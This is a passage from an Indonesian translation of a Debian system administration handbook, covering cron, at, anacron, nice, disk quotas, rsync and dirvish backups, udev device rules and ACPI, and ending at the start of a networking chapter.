- @monthly: sekali per bulan (tanggal 1, pukul 24:00);

- @weekly: sekali per minggu (hari Minggu pukul 24:00);

- @daily: sekali per hari (pukul 24:00);

- @hourly: sekali per jam (pada permulaan setiap jam).

KASUS KHUSUS cron dan daylight saving time

Di Debian, cron memperhitungkan perubahan waktu (Daylight Savings Time, atau bahkan untuk perubahan signifikan dalam waktu setempat) sebaik mungkin. Dengan demikian, perintah yang harus dilaksanakan selama satu jam yang tidak pernah ada (misalnya, tugas-tugas yang dijadwalkan di 2:30 selama musim semi waktu perubahan di Perancis, karena pada pukul 2:00 waktu melompat secara langsung ke 3:00) dijalankan tak lama setelah perubahan waktu (dengan demikian sekitar 3:00 am DST). Di sisi lain, di musim gugur, ketika perintah akan dijalankan beberapa kali (2:30 am DST, kemudian sejam kemudian di 2:30 am waktu standar, karena pada 3:00 am DST jam berubah kembali untuk 2:00 am) hanya dilakukan sekali.

Namun hati-hati, jika urutan antara tugas berbeda yang dijadwalkan dan penundaan antara eksekusi mereka masing-masing penting, Anda harus memeriksa kompatibilitas kendala dengan perilaku cron; jika perlu, Anda dapat mempersiapkan jadwal khusus untuk dua malam bermasalah per tahun.

Setiap baris yang signifikan dari crontab menggambarkan perintah yang dijadwalkan dengan enam (atau tujuh) ruas berikut:

- nilai untuk menit (angka dari 0-59);

- nilai untuk jam (dari 0 sampai 23);

- nilai untuk tanggal (dari 1 sampai 31);

- nilai untuk bulan (dari 1 untuk 12);

- nilai hari pada suatu minggu (dari 0 sampai 7, 1 berarti Senin, Minggu diwakili oleh 0 atau 7; juga dimungkinkan untuk menggunakan tiga huruf pertama dari nama hari dalam seminggu dalam bahasa Inggris, seperti Sun, Mon, dll.);

- nama pengguna yang identitasnya akan dipakai untuk menjalankan perintah (di berkas /etc/crontab dan dalam fragmen yang terletak di /etc/cron.d/, tetapi tidak di berkas crontab pengguna sendiri);

- perintah yang akan dilaksanakan (ketika kondisi yang didefinisikan oleh ke lima kolom pertama terpenuhi).

Semua rincian ini didokumentasikan di halaman manual crontab(5).

Setiap nilai dapat dinyatakan dalam bentuk daftar nilai yang mungkin (dipisahkan dengan koma). Sintaks a-b menjelaskan interval semua nilai antara a dan b. Sintaks a-b/c menggambarkan interval dengan kenaikan c (contoh: 0-10/2 berarti 0,2,4,6,8,10). Asterisk * adalah wildcard, mewakili semua nilai yang mungkin.

Contoh 9.2. Sampel berkas crontab

#Format

#min jam hari bul dow perintah

# Unduh data setiap malam pukul 19.25

25 19 * * * $HOME /bin/get.pl

# 08:00, pada hari kerja (Senin hingga Jumat)

00 08 * * 1-5 $HOME/bin/dosomething

# Mulai ulang proxy IRC setelah setiap reboot

@reboot /usr/bin/dircproxy

TIPS Mengeksekusi perintah saat boot

Untuk mengeksekusi perintah sekali saja, hanya setelah komputer boot, Anda dapat menggunakan makro @reboot (sekadar merestart cron tidak memicu perintah yang dijadwalkan dengan @reboot). Makro ini menggantikan lima ruas entri pertama di crontab.

ALTERNATIF Mengemulasi cron dengan systemd

Mungkin untuk meniru sebagian perilaku cron dengan mekanisme timer systemd (lihat Bagian 9.1.1, “Sistem init systemd”).

9.7.2. Menggunakan Perintah at

at mengeksekusi perintah pada saat tertentu di masa depan. Ini membutuhkan masukan waktu dan tanggal sebagai parameter baris perintah, dan perintah akan dieksekusi di masukan standar. Perintah akan dieksekusi seolah-olah itu telah dimasukkan di shell saat ini. at bahkan mempertahankan lingkungan saat ini, untuk mereproduksi kondisi yang sama ketika itu mengeksekusi perintah. Waktu ditunjukkan dengan mengikuti konvensi biasa: 16:12 atau 4:12 pm mewakili 4:12 pm. Tanggal dapat ditentukan dalam beberapa format Eropa dan Barat, termasuk DD. MM. YY (27.07.15 dengan demikian mewakili 27 Juli 2015), YYYY-MM-DD (tanggal yang sama ini dinyatakan sebagai 2015-07-27), MM/DD/ [CC]YY (yaitu, 12/25/15 atau 12/25/2015 akan menjadi 25 Desember 2015), atau sekadar MMDD[CC]YY (Jadi 122515 atau 12252015 akan juga mewakili 25 Desember 2015). Tanpa itu, perintah akan dilaksanakan segera setelah jam mencapai waktu yang ditunjukkan (hari yang sama, atau besok jika waktu itu telah melewati pada hari yang sama). Anda juga dapat menulis "today (hari ini)" atau "tomorrow (besok)", yang sudah cukup jelas.

$ at 09:00 27.07.15 <<END

> echo "Don't forget to wish a Happy Birthday to Raphaël!" \

>   | mail lolando@debian.org

> END

warning: commands will be executed using /bin/sh

job 31 at Mon Jul 27 09:00:00 2015

Suatu sintaks alternatif menunda eksekusi untuk durasi tertentu: at now + angka periode. periode bisa berupa minutes (menit), hours (jam), days (hari), atau weeks (minggu). angka hanya menunjukkan banyaknya unit yang harus dilalui sebelum pelaksanaan perintah.

Untuk membatalkan tugas yang dijadwalkan oleh cron, cukup menjalankan crontab -e dan menghapus baris yang sesuai dalam berkas crontab. Untuk tugas at, hampir sama mudahnya: jalankan atrm nomor-tugas. Nomor tugas ditunjukkan oleh perintah at saat Anda menjadwalkan itu, tetapi Anda dapat menemukannya lagi dengan perintah atq, yang memberikan daftar tugas terjadwal.

9.8. Menjadwalkan Tugas-tugas Asinkron: anacron

anacron adalah daemon yang melengkapi cron untuk komputer yang tidak menyala setiap saat. Karena tugas-tugas rutin biasanya dijadwalkan untuk dieksekusi di tengah malam, mereka akan tidak pernah dijalankan jika komputer pada waktu itu. Tujuan anacron adalah untuk mengeksekusi mereka, mempertimbangkan periode saat komputer tidak bekerja.

Harap dicatat bahwa anacron sering akan melaksanakan kegiatan tersebut beberapa menit setelah komputer boot, yang dapat membuat komputer kurang responsif. Inilah sebabnya mengapa tugas-tugas di berkas /etc/anacrontab dimulai dengan perintah nice, yang mengurangi prioritas eksekusi mereka dan dengan demikian membatasi dampak mereka di seluruh sistem. Berhati-hatilah, format berkas ini tidak sama dengan /etc/crontab; jika Anda memiliki kebutuhan khusus untuk anacron, lihat halaman manual anacrontab(5).

KEMBALI KE DASAR Prioritas dan nice

Sistem Unix (dan dengan demikian Linux) adalah sistem multi-tasking dan multi-user. Memang, beberapa proses dapat berjalan secara paralel, dan dimiliki oleh pengguna yang berbeda: kernel menengahi akses ke sumber daya antara proses yang berbeda. Sebagai bagian dari tugas ini, ada konsep prioritas, yang memungkinkan untuk lebih mendukung proses tertentu daripada yang lain, sesuai kebutuhan. Ketika Anda tahu bahwa proses dapat berjalan dalam prioritas rendah, Anda dapat menunjukkannya dengan menjalankan nice program. Program akan memiliki bagian lebih kecil dari CPU, dan akan memiliki dampak yang lebih kecil pada proses berjalan lainnya. Tentu saja, jika tidak ada proses lain yang perlu berjalan, program itu tidak akan dihambat.

nice bekerja dengan tingkat "niceness": tingkat positif (dari 1 sampai 19) semakin menurunkan prioritas, sementara tingkat negatif (dari -1 untuk-20) akan meningkatkan — tetapi hanya root yang dapat menggunakan tingkat negatif ini. Kecuali jika dinyatakan (lihat halaman manual nice(1)), nice menaikkan tingkat saat ini sebanyak 10.

Jika Anda menemukan bahwa tugas yang sudah berjalan seharusnya dimulai dengan nice tidaklah terlalu terlambat untuk memperbaikinya; perintah renice mengubah prioritas proses yang sudah berjalan, di kedua arah (tapi mengurangi nilai "nice" proses hanya disediakan untuk pengguna root).

Instalasi paket anacron menonaktifkan eksekusi oleh skrip cron di direktori /etc/cron.hourly/, /etc/cron.daily/, /etc/cron.weekly/, dan /etc/cron.monthly/. Ini menghindari eksekusinya ganda oleh anacron dan cron. Perintah cron tetap aktif dan akan terus menangani tugas terjadwal lain (terutama mereka yang dijadwalkan oleh pengguna).

9.9. Kuota

Sistem kuota memungkinkan membatasi ruang disk yang dialokasikan ke pengguna atau grup pengguna. Untuk mengatur itu, Anda harus memiliki sebuah kernel yang mendukung (dikompail dengan opsi CONFIG_QUOTA) — seperti halnya kernel Debian. Perangkat lunak manajemen kuota ada dalam paket Debian quota.

Untuk mengaktifkan kuota di sebuah sistem berkas, Anda harus menyatakan pilihan usrquota dan grpquota di /etc/fstab masing-masing untuk kuota pengguna dan grup. Setelah reboot komputer kemudian akan memperbarui kuota ketika tidak ada kegiatan disk (kondisi yang diperlukan untuk akuntansi yang tepat dari ruang disk yang sudah digunakan).

Perintah edquota pengguna (atau edquota -g kelompok) memungkinkan Anda untuk mengubah batas ketika memeriksa penggunaan disk saat ini.

LEBIH LANJUT Menentukan kuota dengan suatu skrip

Program setquota dapat digunakan dalam skrip untuk secara otomatis mengubah banyak kuota. Halaman manual setquota(8) merinci sintaks yang digunakan.

Sistem kuota memungkinkan Anda untuk mengatur empat batas:

- dua batas (disebut "lunak" dan "keras") mengacu pada jumlah blok yang dikonsumsi. Jika sistem berkas diciptakan dengan ukuran blok 1 kibibyte, blok berisi 1024 byte dari berkas yang sama. Blok tak penuh akan menyebabkan kerugian ruang disk. Kuota 100 blok, yang secara teoritis memungkinkan penyimpanan 102,400 byte, akan jenuh dengan hanya 100 berkas yang masing-masing berukuran 500 byte, hanya mewakili 50.000 byte total.

- dua batas (lembut dan keras) mengacu pada cacah inode yang digunakan. Setiap berkas menempati setidaknya satu inode untuk menyimpan informasi tentangnya (izin, pemilik, stempel waktu akses terakhir, dll). Karena itu, membatasi banyaknya berkas pengguna.

Batas "lunak" dapat dilewati sementara; pengguna hanya akan diperingatkan bahwa mereka melebihi kuota oleh perintah warnquota, yang biasanya dipanggil oleh cron. Batas "keras" tidak boleh dilampaui: sistem akan menolak setiap operasi yang akan menyebabkan kuota keras dilampaui.

KOSAKATA Blok dan inode

Sistem berkas membagi hard disk menjadi blok-blok — daerah-daerah berurutan yang kecil. Ukuran blok-blok ini didefinisikan selama penciptaan sistem berkas, dan biasanya bervariasi antara 1 dan 8 kibibyte.

Suatu blok dapat digunakan baik untuk menyimpan data yang nyata dari sebuah berkas, atau untuk digunakan oleh meta-data sistem berkas. Diantara data meta ini, terutama Anda akan menemukan inode. Inode menggunakan blok pada hard disk (tapi blok ini tidak dihitung dalam kuota blok, hanya di kuota inode), dan berisi informasi tentang berkas yang sesuai (nama, pemilik, izin, dll) dan pointer ke blok data yang benar-benar digunakan. Untuk berkas yang sangat besar yang menempati blok lebih daripada yang mungkin untuk diacu dalam inode tunggal, ada sistem blok yang tidak langsung; inode mengacu daftar blok yang tidak langsung berisi data, tetapi daftar lain dari blok.

Dengan perintah edquota -t, Anda dapat menetapkan "masa tenggang" maksimum yang diizinkan kapan suatu batas lembut boleh dilampaui. Setelah masa ini, batas lembut akan diperlakukan seperti batas keras, dan pengguna harus mengurangi penggunaan ruang disk mereka ke dalam batas ini agar dapat menulis apapun ke hard disk.

LEBIH LANJUT Menetapkan kuota default untuk pengguna baru

Untuk secara otomatis mengkonfigurasi kuota bagi pengguna baru, Anda harus mengkonfigurasi templat pengguna (dengan edquota atau setquota) dan menunjukkan nama pengguna dalam variabel QUOTAUSER di berkas /etc/ adduser.conf. Konfigurasi kuota ini akan kemudian secara otomatis diterapkan untuk setiap pengguna baru yang dibuat dengan perintah adduser.

9.10. Cadangan

Membuat cadangan adalah salah satu tanggung jawab utama administrator manapun, tetapi itu adalah subjek yang kompleks, yang melibatkan alat yang seringkali sulit untuk dikuasai.

Banyak program yang ada, seperti amanda, bacula, BackupPC. Mereka adalah sistem klien/server yang menampilkan banyak pilihan, yang konfigurasi yang agak sulit. Beberapa diantaranya menyediakan antarmuka web yang ramah pengguna untuk mengurangi ini. Tapi Debian berisi puluhan perangkat lunak cadangan lain yang meliputi semua kemungkinan penggunaan kasus, yang Anda dapat Anda konfirmasi dengan mudah memakai apt-cache search backup.

Daripada merinci beberapa dari mereka, artikel ini akan menyajikan pikiran para administrator Falcot Corp ketika mereka mendefinisikan strategi cadangan mereka.

Di Falcot Corp, cadangan memiliki dua tujuan: memulihkan berkas yang salah hapus, dan cepat memulihkan komputer (server atau desktop) yang hard disknya gagal.

9.10.1. Back Up dengan rsync

Cadangan pada tape telah dianggap terlalu lambat dan mahal, data akan disimpan pada hard drive dalam server terdedikasi, yang penggunaan RAID perangkat lunak (lihat Bagian 12.1.1, “RAID Perangkat Lunak”) akan melindungi data dari kegagalan hard drive. Komputer desktop tidak dibuat cadangannya secara individual, tetapi pengguna disarankan bahwa akun pribadi mereka pada server berkas departemen mereka yang akan dibackup. Perintah rsync (dari paket dengan nama yang sama) digunakan sehari-hari untuk membuat cadangan server-server yang berbeda ini.

KEMBALI KE DASAR Hard link, nama kedua untuk berkas

Hard link, sebagai lawan dari link simbolik, tidak bisa dibedakan dari berkas tertautnya. Membuat hard link pada dasarnya adalah sama dengan memberikan nama kedua pada berkas yang ada. Inilah sebabnya mengapa penghapusan hard link hanya menghapus salah satu dari nama-nama yang terkait dengan berkas. Selama nama lain masih diberikan ke berkas, data di dalamnya tetap ada pada sistem berkas. Hal ini menarik untuk dicatat bahwa, tidak seperti salinan, hard link tidak mengambil tambahan ruang pada hard drive.

Hard link dibuat dengan perintah ln target tautan. Berkas tautan ini adalah nama baru untuk berkas target. Hard link hanya dapat dibuat pada sistem berkas yang sama, sementara link simbolik tidak tunduk pada pembatasan ini.

Ruang hard drive yang tersedia melarang pelaksanaan pembuatan cadangan harian yang lengkap. Dengan demikian, perintah rsync didahului oleh duplikasi konten cadangan sebelumnya dengan hard link, yang mencegah penggunaan terlalu banyak ruang hard drive. Proses rsync kemudian hanya menggantikan berkas yang telah diubah sejak terakhir dibuat cadangan. Dengan mekanisme ini sejumlah besar cadangan akan disimpan dalam ruang yang kecil. Karena semua cadangan seketika tersedia dan dapat diakses (misalnya, di berbagai direktori bersama pada jaringan), Anda dapat dengan cepat membuat perbandingan antara dua tanggal yang diberikan.

Mekanisme pembuatan cadangan ini mudah diimplementasikan dengan program dirvish. Menggunakan ruang penyimpanan cadangan ("bank" dalam kosa katanya) untuk menempatkan salinan set berkas cadangan yang diberi stempel waktu (set ini yang disebut "vault" dalam dokumentasi dirvish).

Konfigurasi utama ada di berkas /etc/dirvish/master.conf. Itu mendefinisikan lokasi ruang penyimpanan cadangan, daftar "vault" yang dikelola, dan nilai default bagi kedaluwarsa cadangan. Sisa konfigurasi terletak di berkas bank/vault/dirvish/default.conf dan berisi konfigurasi spesifik untuk set berkas yang terkait.

Contoh 9.3. Berkas /etc/dirvish/master.conf

bank:

/backup

exclude:

lost+found/

core

*~

Runall:

root    22:00

expire-default: +15 days

expire-rule:

#   MIN HR    DOM MON       DOW  STRFTIME_FMT

*   *     *   *         1    +3 months

*   *     1-7 *         1    +1 year

*   *     1-7 1,4,7,10  1

Pengaturan bank menunjukkan direktori di mana cadangan disimpan. Pengaturan exclude memungkinkan Anda untuk menunjukkan berkas (atau jenis berkas) yang dikecualikan dari cadangan. Runall adalah daftar set berkas yang akan dibuat cadangannya dengan sebuah stempel waktu untuk setiap set, yang memungkinkan Anda untuk menetapkan tanggal yang benar yang akan disalin, dalam kasus cadangan tidak dipicu pada tepat waktu yang ditetapkan. Anda harus menunjukkan waktu yang tepat sebelum waktu eksekusi yang sebenarnya (yang, secara default, 22:04 di Debian, menurut /etc/cron.d/dirvish). Akhirnya, pengaturan expire-default dan expire-rule menetapkan kebijakan kedaluwarsa untuk cadangan. Contoh di atas menyimpan selamanya cadangan yang dihasilkan pada hari Minggu pertama setiap kuartal, menghapus setelah satu tahun dari hari Minggu pertama setiap bulan, dan setelah 3 bulan dari hari Minggu lainnya. Cadangan harian lainnya disimpan selama 15 hari. Urutan aturan penting, Dirvish menggunakan aturan terakhir yang cocok, atau expire-default jika tidak ada expire-rule yang cocok.

DALAM PRAKTEK Kedaluwarsa terjadwal

Aturan kedaluwarsa tidak digunakan oleh dirvish-expire untuk melakukan tugasnya. Pada kenyataannya, aturan kedaluwarsa diterapkan ketika membuat salinan cadangan baru untuk menentukan tanggal kedaluwarsa yang terkait dengan salinan itu. dirvish-expire cukup memeriksa salinan disimpan dan menghapus berkas yang tanggal kedaluwarsanya telah berlalu.

Contoh 9.4. Berkas /backup/root/dirvish/default.conf

client: rivendell.falcot.com

tree: /

xdev: 1

index: gzip

image-default: %Y%m%d

exclude:

/var/cache/apt/archives/*.deb

/var/cache/man/**

/tmp/**

/var/tmp/**

*.bak

Contoh di atas menyatakan set berkas yang akan dibuat cadangannya: ini adalah berkas-berkas pada mesin rivendell.falcot.com (untuk cadangan data lokal, cukup nyatakan nama dari mesin lokal seperti yang ditunjukkan oleh hostname), terutama yang ada di akar pohon (tree: /), kecuali yang tercantum dalam exclude. Cadangan akan terbatas pada isi dari satu sistem berkas (xdev: 1). Itu tidak akan menyertakan berkas dari titik kait lainnya. Suatu indeks dari berkas-berkas yang disimpan akan dihasilkan (index: gzip), dan image akan dinamai menurut tanggal saat ini (image-default: %Y%m%d).

Ada banyak pilihan yang tersedia, semua didokumentasikan di halaman manual dirvish.conf(5). Setelah berkas konfigurasi ini disiapkan, Anda mesti menginisialisasi setiap set berkas dengan perintah dirvish --vault vault--init. Selanjutnya dari sana eksekusi harian dirvish-runall akan secara otomatis membuat salinan cadangan baru setelah menghapus yang kedaluwarsa.

DALAM PRAKTEK Cadangan remote melalui SSH

Ketika dirvish perlu menyimpan data ke suatu mesin remote, itu akan menggunakan ssh untuk menyambung ke sana, dan akan memulai rsync sebagai server. Hal ini memerlukan pengguna root untuk dapat secara otomatis menyambung kepadanya. Penggunaan sebuah kunci otentikasi SSH memungkinkan hal itu (lihat Bagian 9.2.1.1, “Otentikasi Berbasis Kunci”).

9.10.2. Memulihkan Mesin tanpa Cadangan

Desktop komputer, yang tidak di backup, akan sangat mudah untuk diinstal ulang dari DVD-ROM kustom yang disiapkan dengan Simple-CDD (lihat Bagian 12.3.3, “Simple-CDD: Solusi Semua-Jadi-Satu”). Karena ini melakukan instalasi dari awal, itu kehilangan kustomisasi apapun yang mungkin telah dibuat setelah instalasi awal. Ini tidak apa karena semua sistem terhubung ke direktori LDAP pusat untuk akun dan sebagian besar aplikasi desktop yang telah diprakonfigurasikan berkat dconf (lihat Bagian 13.3.1, “GNOME” untuk informasi lebih lanjut tentang ini).

Para administrator Falcot Corp menyadari batas kebijakan cadangan mereka. Karena mereka tidak bisa melindungi server cadangan serta tape di tempat yang aman yang tahan api, mereka telah terinstal di ruang yang terpisah sehingga bencana seperti kebakaran pada ruang server tidak akan menghancurkan backup bersama dengan segala sesuatu yang lain. Selain itu, mereka melakukan backup incremental pada DVD-ROM sekali per minggu — hanya berkas yang telah dimodifikasi sejak cadangan terakhir yang disertakan.

LEBIH LANJUT Membuat cadangan layanan LDAP dan SQL

Banyak layanan (seperti basis data LDAP atau SQL) tidak dapat dibuat cadangannya hanya dengan menyalin berkas-berkas mereka (kecuali mereka dihentikan dengan benar selama penciptaan cadangan, yang seringkali bermasalah, karena mereka dimaksudkan untuk menjadi tersedia setiap saat). Dengan demikian, perlu menggunakan mekanisme "ekspor" untuk membuat "curah data" yang dapat dengan aman dibuat cadangannya. Ini sering cukup besar, tetapi mereka juga dapat dimampatkan. Untuk mengurangi ruang penyimpanan yang diperlukan, Anda akan hanya menyimpan berkas teks lengkap per minggu, dan diff setiap hari, yang dibuat dengan perintah jenis diff berkas_kemarin berkas_hari_ini. Program xdelta menghasilkan perbedaan inkremental dari curah biner.

KULTUR TAR, standar untuk cadangan tape

Secara historis, cara paling sederhana untuk membuat cadangan pada Unix adalah untuk menyimpan arsip TAR pada tape. Perintah tar bahkan mendapat namanya dari "Tape ARchive".

9.11. Hot Plugging: hotplug

9.11.1. Pengenalan

Subsistem kernel hotplug secara dinamis menangani penambahan dan penghapusan perangkat, dengan memuat driver yang sesuai dan membuat berkas-berkas divais yang sesuai (dengan bantuan udevd). Dengan perangkat keras modern dan virtualisasi, hampir semuanya dapat di-hotplug: dari peripheral PCMCIA/USB/IEEE 1394 yang biasa sampai hard drive SATA, tetapi juga CPU dan memori.

Kernel memiliki basis data yang mengaitkan setiap ID perangkat dengan driver yang diperlukan. Basis data ini digunakan selama boot untuk memuat semua driver untuk perangkat periferal yang terdeteksi pada bus berbeda, tetapi juga ketika perangkat tambahan hotplug terhubung. Setelah perangkat siap untuk digunakan, pesan dikirim ke udevd sehingga akan dapat membuat entri yang sesuai di /dev/.

9.11.2. Masalah Penamaan

Sebelum munculnya koneksi hotplug, mudah untuk memberikan sebuah nama tetap ke suatu perangkat. Hal ini didasarkan hanya pada posisi perangkat di bus mereka masing-masing. Tetapi hal ini tidak mungkin ketika perangkat tersebut dapat datang dan pergi pada bus. Kasus khas adalah menggunakan kamera digital dan USB flash drive, keduanya muncul ke komputer sebagai disk drive. Yang pertama yang terhubung mungkin akan/dev/sdb dan yang kedua /dev/sdc (dengan /dev/sda mewakili hard drive komputer sendiri). Nama perangkat tidak tetap; itu tergantung pada urutan terhubungnya perangkat.

Selain itu, driver lebih dan lebih banyak menggunakan nilai-nilai yang dinamis untuk nomor mayor/minor perangkat, yang membuat tidak mungkin untuk memiliki entri statis untuk perangkat tertentu, karena karakteristik penting ini dapat bervariasi setelah reboot.

udev diciptakan justru untuk memecahkan masalah ini.

9.11.3. Bagaimana udev Bekerja

Ketika udev diberitahu oleh kernel atas kemunculan perangkat baru, itu mengumpulkan berbagai informasi pada perangkat tersebut dengan memeriksa entri terkait di /sys/, terutama mereka yang secara unik mengidentifikasinya (Alamat MAC kartu jaringan, nomor seri untuk beberapa perangkat USB, dll.).

Dipersenjatai dengan semua informasi ini, udev kemudian berkonsultasi menjalani seluruh aturan yang terkandung dalam /etc/udev/rules.d/ dan /lib/udev/rules.d/. Dalam prosesnya ini memutuskan bagaimana menamai perangkat, taut simbolik apa yang dibuat (untuk memberinya nama alternatif), dan perintah apa yang dieksekusi. Semua berkas ini diperiksa, dan aturan semua dievaluasi secara berurutan (kecuali ketika berkas menggunakan direktif "GOTO"). Dengan demikian, mungkin ada beberapa aturan yang sesuai untuk kejadian tertentu.

Sintaks berkas aturan ini cukup sederhana: setiap baris berisi kriteria pemilihan dan penetapan variabel. Yang terdahulu digunakan untuk memilih kejadian yang perlu ada reaksi, dan yang belakangan mendefinisikan tindakan yang akan diambil. Mereka semua hanya dipisahkan dengan koma, dan operator secara implisit membedakan antara kriteria seleksi (dengan operator perbandingan, seperti == atau !=) atau direktif penugasan (dengan operator seperti =, +=, atau :=).

Operator perbandingan yang digunakan pada variabel berikut:

- KERNEL: nama yang deberikan oleh kernel ke perangkat;

- AKSI: tindakan yang sesuai untuk acara ("add" ketika perangkat telah ditambahkan, "remove" ketika dihapus);

- DEVPATH: path entri /sys/ perangkat;

- SUBSYSTEM: subsistem kernel yang menghasilkan permintaan (ada banyak, tapi beberapa contoh adalah "usb", "ide", "net", "firmware", dll.);

- ATTR {atribut}: isi berkas dari atribut dalam direktori /sys/ $devpath/ perangkat. Ini adalah tempat Anda menemukan alamat MAC dan pengenal khusus bus lain;

- KERNELS, SUBSYSTEM, dan ATTRS {atribut} adalah variasi yang akan mencoba untuk mencocokkan pilihan yang berbeda pada salah satu perangkat induk dari perangkat saat ini;

- PROGRAM: mendelegasikan tes ke program ditunjukkan (true jika ia mengembalikan 0, false jika tidak). Isi dari keluaran standar program disimpan sehingga dapat digunakan kembali oleh uji RESULT;

- RESULT: menjalankan tes pada keluaran standar yang disimpan selama pemanggilan terakhir ke PROGRAM.

Operand kanan dapat menggunakan ekspresi pola untuk mencocokkan beberapa nilai pada waktu yang sama. Sebagai contoh, * cocok dengan string apapun (bahkan yang kosong); ? cocok dengan sebarang karakter, dan [] sesuai set karakter yang tercantum antara kurung (atau lawan dari itu jika karakter pertama adalah tanda seru, dan rentang karakter berturutan dituliskan seperti a-z).

Mengenai penetapan operator, = memberikan nilai (dan menggantikan nilai saat ini); dalam kasus sebuah daftar, itu dikosongkan dan mengandung hanya nilai yang diberikan. := melakukan hal yang sama, tetapi mencegah perubahan belakangan atas variabel yang sama. Adapun +=, menambahkan item ke daftar. Variabel berikut dapat diubah:

- NAME: nama berkas perangkat yang akan dibuat di /dev/. Hanya penugasan pertama yang penting; yang lain diabaikan;

- SYMLINK: daftar taut simbolik yang akan mengarah ke perangkat yang sama;

- OWNER, GROUP, dan MODE menentukan pengguna dan kelompok yang memiliki perangkat, serta izin terkait;

- RUN: daftar program-program yang akan dijalankan sebagai respon atas kejadian ini.

Nilai-nilai yang ditugaskan ke variabel ini dapat menggunakan sejumlah substitusi:

- $kernel atau %k: setara dengan KERNEL;

- $number atau %n: nomor urut perangkat, misalnya, untuk sda3, itu akan "3";

- $devpath atau %p: setara dengan DEVPATH;

- $attr{atribut} atau %s{atribut}: setara dengan ATTRS {atribut};

- $major atau %M: nomor mayor kernel dari perangkat;

- $minor atau %m: nomor minor kernel dari perangkat;

- $result atau %c: string keluaran dari program yang terakhir dipanggil oleh PROGRAM;

- dan, akhirnya, %% dan $$ masing-masing untuk persen dan tanda dolar.

Di atas daftar ini tidak lengkap (mereka hanya menyertakan parameter-parameter terpenting), tetapi halaman manual udev(7) harus lengkap.

9.11.4. Contoh konkret

Mari kita mempertimbangkan kasus kunci USB sederhana dan mencoba memberikan sebuah nama tetap. Pertama, Anda harus menemukan unsur-unsur yang akan mengidentifikasi secara unik. Untuk ini, tancapkan itu dan jalankan udevadm info -a -n /dev/sdc (menggantikan /dev/sdc dengan nama sebenarnya yang ditetapkan ke kunci).

# udevadm info -a -n /dev/sdc

[...]

looking at device '/devices/pci0000:00/0000:00:10.0/usb2/2-1/2-1:1.0/host4/target4:0:0/4:0:0:0/block/sdc':

KERNEL=="sdc"

SUBSYSTEM=="block"

DRIVER==""

ATTR{hidden}=="0"

ATTR{events}=="media_change"

ATTR{ro}=="0"

ATTR{discard_alignment}=="0"

ATTR{removable}=="1"

ATTR{events_async}==""

ATTR{alignment_offset}=="0"

ATTR{capability}=="51"

ATTR{events_poll_msecs}=="-1"

ATTR{stat}=="     130        0     6328      435        0        0        0        0        0      252      252        0        0        0        0"

ATTR{size}=="15100224"

ATTR{range}=="16"

ATTR{ext_range}=="256"

ATTR{inflight}=="       0        0"

[...]

looking at parent device '/devices/pci0000:00/0000:00:10.0/usb2/2-1/2-1:1.0/host4/target4:0:0/4:0:0:0':

[...]

ATTRS{max_sectors}=="240"

[...]

looking at parent device '/devices/pci0000:00/0000:00:10.0/usb2/2-1':

KERNELS=="2-1"

SUBSYSTEMS=="usb"

DRIVERS=="usb"

ATTRS{bDeviceProtocol}=="00"

ATTRS{bNumInterfaces}==" 1"

ATTRS{busnum}=="2"

ATTRS{quirks}=="0x0"

ATTRS{authorized}=="1"

ATTRS{ltm_capable}=="no"

ATTRS{speed}=="480"

ATTRS{product}=="TF10"

ATTRS{manufacturer}=="TDK LoR"

[...]

ATTRS{serial}=="07032998B60AB777"

[...]

Untuk membuat aturan baru, Anda dapat menggunakan tes pada variabel perangkat, maupun dari salah satu perangkat induk. Kasus di atas memungkinkan kita untuk membuat dua aturan seperti ini:

KERNEL=="sd?", SUBSYSTEM=="block", ATTRS{serial}=="07032998B60AB777", SYMLINK+="usb_key/disk"

KERNEL=="sd?[0-9]", SUBSYSTEM=="block", ATTRS{serial}=="07032998B60AB777", SYMLINK+="usb_key/part%n"

Setelah aturan-aturan ini ditetapkan dalam berkas, bernama sebagai contoh /etc/udev/rules.d/010_local.rules, Anda dapat mencabut dan menancapkan kembali kunci USB. Anda dapat melihat bahwa /dev/usb_key/disk mewakili disk terkait kunci USB, dan /dev/usb_key/part1 adalah partisi pertamanya.

LEBIH LANJUT Men-debug konfigurasi udev

Seperti banyak daemon, udevd menyimpan log dalam /var/log/daemon.log. Tetapi hal ini tidak sangat rinci secara default, dan biasanya tidak cukup untuk memahami apa yang terjadi. Perintah udevadm control --log-priority=info meningkatkan tingkat rincian dan memecahkan masalah ini. udevadm control --log-priority=err mengembalikan ke level rincian standar.

9.12. Manajemen Daya: Advanced Configuration and Power Interface (ACPI)

Topik manajemen daya ini sering bermasalah. Memang, mensuspensi komputer secara benar mensyaratkan bahwa semua driver perangkat komputer tahu bagaimana untuk menempatkan mereka ke standby, dan bahwa mereka secara benar mengkonfigurasi perangkat saat bangun. Sayangnya, masih ada beberapa perangkat yang tidak dapat tidur dengan baik di bawah Linux, karena produsen mereka belum memberikan spesifikasi yang dibutuhkan.

Linux mendukung ACPI ((Advanced Configuration and Power Interface) — standar terkini dalam manajemen daya. Paket acpid menyediakan daemon yang mencari kejadian-kejadian yang terkait manajemen daya (berpindah antara daya AC dan baterai pada laptop, dll) dan bisa menjalankan berbagai perintah sebagai respon.

HATI-HATI Kartu grafis dan standby

Driver kartu grafis sering adalah biang keladi ketika standby tidak bekerja dengan benar. Dalam hal ini, ide baik untuk menguji versi terbaru dari server grafis X.org.

Setelah ikhtisar layanan dasar umum untuk banyak sistem Unix ini, kita akan fokus pada lingkungan mesin yang dikelola: jaringan. Banyak layanan yang diperlukan agar jaringan bekerja dengan baik. Mereka akan dibahas dalam bab berikutnya.

Bab 10. Infrastruktur Jaringan

Linux memperoleh seluruh warisan Unix untuk jaringan, dan Debian menyediakan set lengkap peralatan untuk membuat dan mengelola mereka. Bab ini mengulas peralatan tersebut.

10.1. Gateway

Gateway adalah sebuah sistem yang menghubungkan beberapa jaringan. Istilah ini sering mengacu pada "titik keluar" jaringan lokal pada jalur wajib untuk semua alamat IP eksternal. Gateway terhubung ke masing-masing jaringan yang dihubungkannya, dan bertindak sebagai sebuah router untuk menyampaikan paket-paket IP antara berbagai antarmuka.

KEMBALI KE DASAR paket IP

Sebagian besar jaringan saat ini menggunakan protokol IP (Internet Protocol). Protokol ini mensegmentasi data yang ditransmisikan ke paket-paket ukuran terbatas. Setiap packet berisi, selain muatan datanya, sejumlah rincian yang diperlukan untuk routing yang tepat.

KEMBALI KE DASAR TCP/UDP

